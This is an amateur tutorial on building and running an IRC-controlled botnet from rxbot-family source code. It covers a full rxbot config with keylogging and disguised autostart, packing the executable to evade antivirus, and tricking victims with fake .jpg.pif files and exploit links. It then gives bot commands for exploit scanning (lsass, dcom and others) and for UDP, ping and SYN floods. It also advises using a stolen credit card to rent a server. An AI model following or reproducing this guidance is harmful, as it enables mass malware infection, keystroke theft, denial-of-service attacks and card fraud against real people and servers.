** 1 - intro **
** 2 - codes/compiling **
** 3 - where to start **
** 4 - maintaing/scanning more bots **
** 5 - Using the bots **

Intro
*****

Now wen we think about bots, the first idea that comes to mind is ur average egg drop, i will be talkin about a different kind of bot(s), which revolve around an era of internet warfare. yes u heard me "warfare". Such bots have the potential in numbers to take down huge servers, through DDoS @ (distributed Denial of Service-http://encyclopedia.thefreedictionary.com/DDoS). Of course with DDoS and DoS the greater the bandwith the more information can be sent to flood out the victim. For instance , 10 512k computers flooding will flood out a single 512k host with about 5 minutes of spam, 50 512k computers will knock out a 512k host effortlessly, about 500 512k computers have the potential to take out small servers running at about 5mbit. The number of computers and the amount of bandwith is proportianal to the max bandwith of the victim, which means there has to be more bandwith on the attacking side to knock the serer off the net. The server will only be offline for the duration of the attack. over heating the bots and making the m DDoS for, long periods of time isnt a good idea as they are likely to crash, HOWEVER they will come back. By now u might be wondering, how does he control the bots? how does it work? Well the answer to the first question is simple, the most favorable interface used by bot hearders is mIRC (http://www.mirc.com/), an "internet relay chat". The beauty of using this program is that one can view all the bots that belong to you in one channel, and you can send a command to all of them at once. However do not think that u can run a botnet off public networks, they will have ur bots for breakfast. Botting is illeagal and if your going to run one u might aswell use a stolen CC to rent an IRCD (irc server), where there is nol on there but u and ur bots. How do these bots work, well it goes like this, find a source code , edit it to ur needs, compile it make ur victim run the exe on their pc. The exe running on there pc will launch a silent connect to an mIRC server u told it to do in the config. Once in the channel u may send comman ds to the "bot" and control the victims pc.

CODes/Compiling
***************

To start a botnet the first thing u need is the code for the bot, there are a wi de range of codes out there on the net. The main ones go by the names: Agobot, Phatbot, rbot, rXbot, SDbot.

Now dont except to go into google and search "rxbot: and get a good code, most p ublic sources are either sabotaged or faulty. But dont let that stop u from goin g through a few public sources. There are many different versions of each bot, e very time a programmer mods an existing bot he gives it a new name, for instance Rxbot-dimensionfix, these are mods and there will be little change to the main code. Bot variants are major changes to a code, but still using the coding syntax of the bot. An example of a variant is RXbot orginaly rbot, and Phatbot derive d from Agobot. As long as there are people willing to code bots there will be di fferent variants out every so often. ALso don't let the name of the bot fool you
because it has an extra X or higher number, this is just what the coder has choosen to call it and doesn't necessarily mean that its "ub3r 1337". The codes are mainly written in C++, and you don't need much knowledge of this program to edit and compile one, but you do to edit, or create one.

Here is an extract from a config file of your standard rxbot to show how easy it is to edit:

```plaintext
int port = 6667; // Mirc server port
int port2 = 6667; // backup server port
int socks4port = 12221; // Port # for sock4 daemon to run on (socks4 runs on the victims pc and when activated changes your ip to the victims)
int tftpport = 69; // Port # for tftp daemon to run on (for ftp access on their hard drives)
int rloginport = 513; // Port # for rlogin daemon to run on (like ssh access)
BOOL topiccmd = TRUE; // set to TRUE to enable topic commands (bots will execute the command one puts in the channel topic if set to TRUE)
BOOL rndfilename = FALSE; // use random file name (use a random .exe name when installing on their pc)
BOOL AutoStart = TRUE; // enable autostart registry keys (the bot autostarts when the victims pc is restarted)

char prefix = '.'; // command prefix (one character max.) -- this is the character you put before ur command so the bots recognise it as a command
char botid[] = "rBot_DIMENSIONFIX_v.4.1"; // bot id

char password[] = "boobtube"; // bot password
char server[] = "myserverdnshere.com"; // server put your server ip or dns directed to the ip of ur server here, Dns is recommended incase your server goes down
char serverpass[] = ""; // server password
char channel[] = "#Yourchanname"; // channel that the bot should join
char chanpass[] = "rollemedep"; // channel password
char channel2[] = "#Backupchannel"; // backup channel (optional)
char channel2[] = "#Backupchannel"; // backup channel (optional)
char nickname[] = "Blahblah-"; // first part to the bot's nick
char keylogfile[] = "keys.txt"; // keylog filename
char valuenames[] = "Microsoft Features"; // value name for autostart
char szLocalPayloadFile[] = "msconfig.dat"; // Payload filename
char modeonconn[] = "-x+B"; // Can be more than one mode and contain both + and -
char exploitchan[] = "#Yourchanname"; // Channel where exploit messages get redirected
char psniffchan[] = "#Yourchanname"; // snifing channel
char keylogchan[] = "#Yourchanname"; // Channel where keylog messages get redirected
char version[] = "[rBot_DIMENSIONFIX_v.4.1]"; // !bot version reply

char *authost[] = {
"*@*", // One has to have the same authost as this to login into bots - * means any host is valid.
};
```

I recommend Microsoft Visual C++ for compiling your code, simply click build, rebuild and your done. However you need to download the platform sdk's off the microsoft website before you compile (http://www.microsoft.com/msdownload/platformsdk/sdkupdate/), otherwise your bot won't compile.

After you have compiled successfully with 0 errors, look in the your code folder fo
r a folder called "Release", and your exe is in there. If there is only debug, you need to set your active configuration settings in visual to Release instead of debug, and ur done. Another thing, try to pack your exe and encrypt it, this A) by passes antivirus (if its a good stealth packer) and B) stops other people from hexing ur exe to find your information and stealing your bots. A common packer is UPX (http://upx.sourceforge.net/), and encrypters, well find your own ^_^ . A word of advice the higher bit encryption the better.

Where to start
**************

Now that we have successfully created and packed our exe, we now have to go out into the vigorous world i like to call the net, and start infecting people. Most of the bot codes have scanners built into them, but you need some bots to start scanning with, 50 is a good number. make a new folder on your desktop and copy your exe to there. to make sure we still have a copy of the original. There are many ways to infect people, the best way is through deception of trust. Trust is gained from the hacker to the victim and hence lower the victims guard. But if your lazy like me, the trust can be there allready. If u hav the resources to pretend to be sum1 u can use the trust he has already built up with his friends. Anyway when the trust link is established there are a few ways to get your exe to the victim: If you are a beginner to this business, rename your exe to sumthing along the lines of .. imdrunk.jpg.pif, a .pif acts the same way as an exe, and most people have the hide file extenstions off, so they will just see imdrunk.jpg. Then send this to your victim, with the phrase "check this out bro". This met hod is rewardingly funny but slow, if u think of yourself as an advanced con artist, u can try this out: obtain an internet explorer exploit (believe me there are many), and upload it to a site of yours,(make sure it doesnt contain any personal information). Then upload the exe accordingly onto the site , and give the link to the exploit. Log onto irc and join loadsa big channels and /amsg WEBsi tehere.com. hopefully out of the hundreds of people that see that link about 10 % will click on it. The same idea can be incorperated in msn. These are just two ways to get your exe to your victim manually, there are many more.

Maintaining / scanning for more bots
****************************************

Once you have gathered about 50 bots, it is advised to start them scanning for unrable pc's. A scanner scans ip's for open ports corresponding to the exploit code in the bot, and opens an tftp connection to transfer the exe from the scanning pc to the victims pc. The exe is then executed on the machine and a new bot joins. A typical example of a command sent to the bots to start scanning is .advscan lsass 100 5 9999 -r

this is an rxbot bot command, the "." tells the bots that the following after the dot is a command, "advscan" is the scan prefix in this case, "lsass" is the name of the exploit to scan for, "100" is the number of threads (the number of ip's the bot scans at one time), "5" is the delay in ms between each scan (it is advised set the number higher if the bots seem to be "over heating"), "9999" is the time in minutes the bot scans for, and "-r" tells the bots to scan from a random ip. There are many types of exploit scanners out there, my two current favorites being lsass/sasser, and dcom. The newer the exploit the more unpatched systems to put bots on. Ideally you want a private code with a private exploit ^_^ = very rare, u will have thousands in a few days.

Command syntax's vary from code to code, and usualy can be found on the net.

Maintaining the status of your bots is very important, they are after all your personal army against the scum of the net. 1) You DO NOT want to hurl a fury of commands at them, hoping they will eliminate your enemies quicker, you have to be gentle with them, and learn how they work.
Using your bots

***************

The main use of the bots is DDoS, to DDoS against a person / server you have to obtain the ip. Once you have the ip i recommend a mix UDP / PING flood if attacking some, but a directed synflood at a vulnerable port on the computer is best against servers. Remember they will only be offline for the duration of the flood.

A typical rxbot udp / ping command goes like this:

```.
udp 81.6.277.94 1000 3333 333  
```

"udp" indicates a udp flood, "81.6.277.94" is the ip to flood, "1000" is the number of packets to send to the ip, "3333" is the size of the packets in kb, "333" is the delay in ms.

The ping command is the the same:

```.
ping 81.6.277.94 1000 3333 333
```

A typical synflood might look like this:

```.
synflood 81.6.277.94 80 300  
```

"80" this is the port to direct the attack to, "300" time in minutes of the attack.

There are other uses to bots other than DDoS, here is a list of the typical commands in ur standard rxbot:

```.
.login
.logout
.rndnick
.version
.die
.quit
.reconnect
.logout
.disconnect
.status
.id
.threads
.aliases
.log
.ver
.stest_off
.netinfo
.sysinfo
.remove
.startsocks
.ntstop
.ntdel
.mirccmd
.stest
.join
.part
.raw
.killthread
.prefix
.open
.server
.dns
```

// -r = random -s = silent -n = reply message to user instead of channel -b = re
solve hostname

.advscan lsass 100 3 0 -r
.advscan dcom135 100 3 0 -r
.advscan dcom445 100 3 0 -r
.advscan dcom1025 100 3 0 -r
.advscan dcom2 100 3 0 -r
.advscan Optix 100 3 0 -r
.advscan Sub7 100 3 0 -r
.advscan Bagle1 100 3 0 -r
.advscan Bagle2 100 3 0 -r
.advscan webdav 100 3 0 -r
.advscan DameWare 100 3 0 -r
.advscan MSSQL 100 3 0 -r
.advscan NTPass 100 3 0 -r
.advscan MyDoom 100 3 0 -r
.advscan UPNP 100 3 0 -r
.advscan NetDavil 100 3 0 -r
.advscan Kuang2 100 3 0 -r
.advscan NetBios 100 3 0 -r
.addalias
.privmsg
.action
.cycle
.mode
.repeat
.delay
.neu
.update
.execute
.clone
.download

-Credits: Mast Sarmast